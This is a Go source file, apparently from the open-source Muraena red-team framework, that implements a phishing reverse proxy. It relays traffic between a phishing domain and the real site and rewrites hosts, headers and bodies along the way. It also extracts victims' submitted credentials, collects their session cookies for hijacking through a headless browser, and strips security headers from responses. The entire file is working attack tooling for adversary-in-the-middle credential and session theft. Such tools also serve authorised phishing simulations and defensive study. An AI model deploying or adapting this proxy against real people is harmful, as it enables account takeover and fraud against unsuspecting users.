/
handler.go
445 lines (370 loc) · 11 KB
/
handler.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
package proxy
import (
"bytes"
"crypto/tls"
"fmt"
"io/ioutil"
"net/http"
"net/url"
"strconv"
"strings"
. "github.com/logrusorgru/aurora"
"github.com/pkg/errors"
"github.com/muraenateam/muraena/core"
"github.com/muraenateam/muraena/log"
"github.com/muraenateam/muraena/module/necrobrowser"
"github.com/muraenateam/muraena/module/statichttp"
"github.com/muraenateam/muraena/module/tracking"
"github.com/muraenateam/muraena/session"
)
type MuraenaProxyInit struct {
Session *session.Session
Replacer *Replacer
Origin string // proxy origin (phishing site)
Target string // proxy destination (real site)
}
type MuraenaProxy struct {
Session *session.Session
Origin string // proxy origin (phishing site)
Target *url.URL // proxy destination (real site)
Victim string // UUID
ReverseProxy *ReverseProxy
Tracker *tracking.Tracker
Replacer *Replacer
}
type SessionType struct {
Session *session.Session
Replacer *Replacer
}
func (muraena *MuraenaProxy) RequestBodyProcessor(request *http.Request, track *tracking.Trace, base64 Base64) (err error) {
if request.Body != nil {
// Replacer object
replacer := muraena.Replacer
r := request.Body
buf, err := ioutil.ReadAll(r)
if err != nil {
log.Error("%s", err)
return err
}
err = request.Body.Close()
if err != nil {
log.Error("%s", err)
return err
}
defer r.Close()
bodyString := string(buf)
// Trace credentials
if muraena.Session.Config.Tracking.Enabled && track.IsValid() {
found, err := track.ExtractCredentials(bodyString, request)
if err != nil {
return errors.New(fmt.Sprintf("ExtractCredentials error: %s", err))
}
if found == true {
muraena.Tracker.ShowVictims()
}
}
transform := replacer.Transform(bodyString, true, base64)
request.Body = ioutil.NopCloser(bytes.NewReader([]byte(transform)))
request.ContentLength = int64(len(transform))
request.Header.Set("Content-Length", strconv.Itoa(len(transform)))
}
return
}
func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error) {
sess := muraena.Session
base64 := Base64{
sess.Config.Proxy.Transform.Base64.Enabled,
sess.Config.Proxy.Transform.Base64.Padding,
}
// Replacer object
replacer := muraena.Replacer
//
// TRACKING
track := muraena.Tracker.TrackRequest(request)
// DROP
dropRequest := false
for _, drop := range sess.Config.Proxy.Drop {
if request.URL.Path == drop.Url {
dropRequest = true
break
}
}
if dropRequest {
log.Debug("[Dropped] %s", request.URL.Path)
return
}
//
// Garbage ..
//
// no garbage to remove in requests, for now ..
//
// HEADERS
//
// Transform query string
query, err := url.ParseQuery(request.URL.RawQuery)
if err != nil {
log.Error("URL: %s \n %s", request.URL, err.Error())
}
for pKey := range query {
for k, v := range query[pKey] {
query[pKey][k] = replacer.Transform(v, true, base64)
}
}
request.URL.RawQuery = query.Encode()
// Remove headers
for _, header := range sess.Config.Proxy.Remove.Request.Header {
request.Header.Del(header)
}
// Transform Host and other headers of interest
request.Host = muraena.Target.Host
for _, header := range sess.Config.Proxy.Transform.Request.Header {
if request.Header.Get(header) != "" {
request.Header.Set(header, replacer.Transform(request.Header.Get(header), true, base64))
}
}
lhead := fmt.Sprintf("[%s]", request.RemoteAddr)
if sess.Config.Tracking.Enabled {
lhead = fmt.Sprintf("[%s]%s", track.ID, lhead)
}
l := fmt.Sprintf("%s - [%s][%s%s(%s)%s]", lhead,
Magenta(request.Method), Magenta(sess.Config.Protocol), Green(muraena.Origin),
Brown(muraena.Target), Cyan(request.URL.Path))
//log.Info(l)
log.BufLogInfo(l)
//
// BODY
//
// If the requested resource extension is no relevant, skip body processing.
for _, extension := range sess.Config.SkipExtensions {
if strings.HasSuffix(request.URL.Path, fmt.Sprintf(".%s", extension)) {
return
}
}
if track.IsValid() {
log.Debug("Going to hijack session: %s (Track: %+v)", request.URL.Path, track)
err = track.HijackSession(request)
if err != nil {
log.Debug("Error Hijacking Session: %s", err)
return nil
}
}
// Transform body
err = muraena.RequestBodyProcessor(request, track, base64)
if err != nil {
return
}
return nil
}
func (muraena *MuraenaProxy) ResponseProcessor(response *http.Response) (err error) {
sess := muraena.Session
base64 := Base64{
sess.Config.Proxy.Transform.Base64.Enabled,
sess.Config.Proxy.Transform.Base64.Padding,
}
if response.Request.Header.Get("If-Landing-Redirect") != "" {
response.StatusCode = 302
response.Header.Add("If-Range", response.Request.Header.Get("If-Range"))
response.Header.Add("Set-Cookie",
fmt.Sprintf("%s=%s; Domain=%s; Path=/; Expires=Wed, 30 Aug 2029 00:00:00 GMT",
muraena.Session.Config.Tracking.Identifier, response.Request.Header.Get("If-Range"),
muraena.Session.Config.Proxy.Phishing))
response.Header.Set("Location", response.Request.Header.Get("If-Landing-Redirect"))
//log.Warning("Setting cookies: %s", response.Request.Header.Get("If-Range"))
return
}
// Replacer object
replacer := muraena.Replacer
//
// Garbage ..
//
// DROP
dropRequest := false
for _, drop := range sess.Config.Proxy.Drop {
if response.Request.URL.Path == drop.Url && drop.RedirectTo != "" {
// if the response was for the dropped request
response.StatusCode = 302
response.Header.Set("Location", drop.RedirectTo)
log.Info("Dropped request %s redirected to: %s", drop.Url, drop.RedirectTo)
dropRequest = true
break
}
}
if dropRequest {
return
}
// Media Type handling.
// Prevent processing of unwanted media types
mediaType := strings.ToLower(response.Header.Get("Content-Type"))
for _, skip := range sess.Config.Proxy.SkipContentType {
skip = strings.ToLower(skip)
if mediaType == skip {
return
}
if strings.HasSuffix(skip, "/*") &&
strings.Split(mediaType, "/")[0] == strings.Split(skip, "/*")[0] {
return
}
}
//
// Trace
//
victim := muraena.Tracker.TrackResponse(response)
if victim != nil {
// before transforming headers like cookies, store the cookies in the CookieJar
//log.Debug("Found %d cookies in the response", len(response.Cookies()))
for _, c := range response.Cookies() {
if c.Domain == "" {
//c.Domain = "." + sess.Config.Proxy.Target
c.Domain = response.Request.Host
}
sessCookie := necrobrowser.SessionCookie{
Name: c.Name,
Value: c.Value,
Domain: c.Domain,
Expires: "", // will be set by necrobrowser
Path: c.Path,
HTTPOnly: c.HttpOnly,
Secure: c.Secure,
}
muraena.Tracker.AddToCookieJar(victim, sessCookie)
}
} else {
if len(response.Cookies()) > 0 {
log.Warning("[TODO] Missing cookies to track: \n%s\n%+v", response.Request.URL, response.Cookies())
}
}
//
// HEADERS
//
// delete security headers
for _, header := range sess.Config.Proxy.Remove.Response.Header {
response.Header.Del(header)
}
// transform headers of interest
for _, header := range sess.Config.Proxy.Transform.Response.Header {
if response.Header.Get(header) != "" {
if header == "Set-Cookie" {
for k, value := range response.Header["Set-Cookie"] {
response.Header["Set-Cookie"][k] = replacer.Transform(value, false, base64)
}
} else {
response.Header.Set(header, replacer.Transform(response.Header.Get(header), false, base64))
}
}
}
//
// BODY
//
// unpack response body
modResponse := core.Response{Response: response}
responseBuffer, err := modResponse.Unpack()
if err != nil {
log.Info("Error reading/deflating response: %+v", err)
return err
}
// process body and pack again
modResponse.Pack([]byte(replacer.Transform(string(responseBuffer), false, base64)))
return nil
}
func (muraena *MuraenaProxy) ProxyErrHandler(response http.ResponseWriter, request *http.Request, err error) {
log.Error("[errHandler] %s in request %s %s%s", Red(err), request.Method, request.Host, request.URL.Path)
}
func (init *MuraenaProxyInit) Spawn() *MuraenaProxy {
sess := init.Session
destination, err := url.Parse(init.Target)
if err != nil {
log.Info("Error parsing destination URL: %s", err)
}
muraena := &MuraenaProxy{
Session: sess,
Origin: init.Origin,
Target: destination,
ReverseProxy: NewSingleHostReverseProxy(destination),
Replacer: init.Replacer,
}
m, err := sess.Module("tracker")
if err != nil {
log.Error("%s", err)
}
tracker, ok := m.(*tracking.Tracker)
if ok {
muraena.Tracker = tracker
}
proxy := muraena.ReverseProxy
director := proxy.Director
proxy.Director = func(r *http.Request) {
if err = muraena.RequestProcessor(r); err != nil {
log.Error(err.Error())
return
}
director(r)
}
proxy.ModifyResponse = muraena.ResponseProcessor
proxy.ErrorHandler = muraena.ProxyErrHandler
proxy.Transport = &http.Transport{}
if *sess.Options.Debug {
// Extra support for debugging the proxy.
//
// If HTTP_PROXY or HTTPS_PROXY env variables are defined
// all the proxy traffic will be forwarded to the defined proxy.
// Basically a MiTM of the MiTM :)
config := &tls.Config{
InsecureSkipVerify: true,
}
proxy.Transport = &http.Transport{TLSClientConfig: config, Proxy: http.ProxyFromEnvironment}
}
return muraena
}
func (st *SessionType) HandleFood(response http.ResponseWriter, request *http.Request) {
var destination string
sess := st.Session
replacer := st.Replacer
if sess.Config.StaticServer.Enabled {
m, err := sess.Module("static.http")
if err != nil {
log.Error("%s", err)
}
ss, ok := m.(*statichttp.StaticHTTP)
if ok {
destination = ss.MakeDestinationURL(request.URL)
}
}
if destination == "" {
if strings.HasPrefix(request.Host, replacer.ExternalOriginPrefix) { //external domain mapping
for domain, subMapping := range replacer.OriginsMapping {
// even if the resource is aa.bb.cc.dom.tld, the mapping is always one level as in www--2.phishing.tld.
// This is specifically important since wildcard SSL certs do not handle N levels of nesting
if subMapping == strings.Split(request.Host, ".")[0] {
destination = fmt.Sprintf("%s%s", sess.Config.Protocol,
strings.Replace(request.Host,
fmt.Sprintf("%s.%s", subMapping, replacer.Phishing),
domain, -1))
break
}
}
} else {
destination = fmt.Sprintf("%s%s", sess.Config.Protocol,
strings.Replace(request.Host, replacer.Phishing, replacer.Target, -1))
}
}
if destination == "" {
log.Error("Unexpected request at: %s", request.Host)
return
}
muraena := &MuraenaProxyInit{
Origin: request.Host,
Target: destination,
Session: sess,
Replacer: replacer,
}
muraenaProxy := muraena.Spawn()
if muraenaProxy == nil {
return
}
// The httputil ReverseProxy leaks some information via X-Forwarded-For header:
// https://github.com/golang/go/blob/master/src/net/http/httputil/reverseproxy.go#L249
//
// Therefore, the actual version of reverseproxy.go used in this project
// has been slightly modified in the ServeHTTP method:
muraenaProxy.ReverseProxy.ServeHTTP(response, request)
}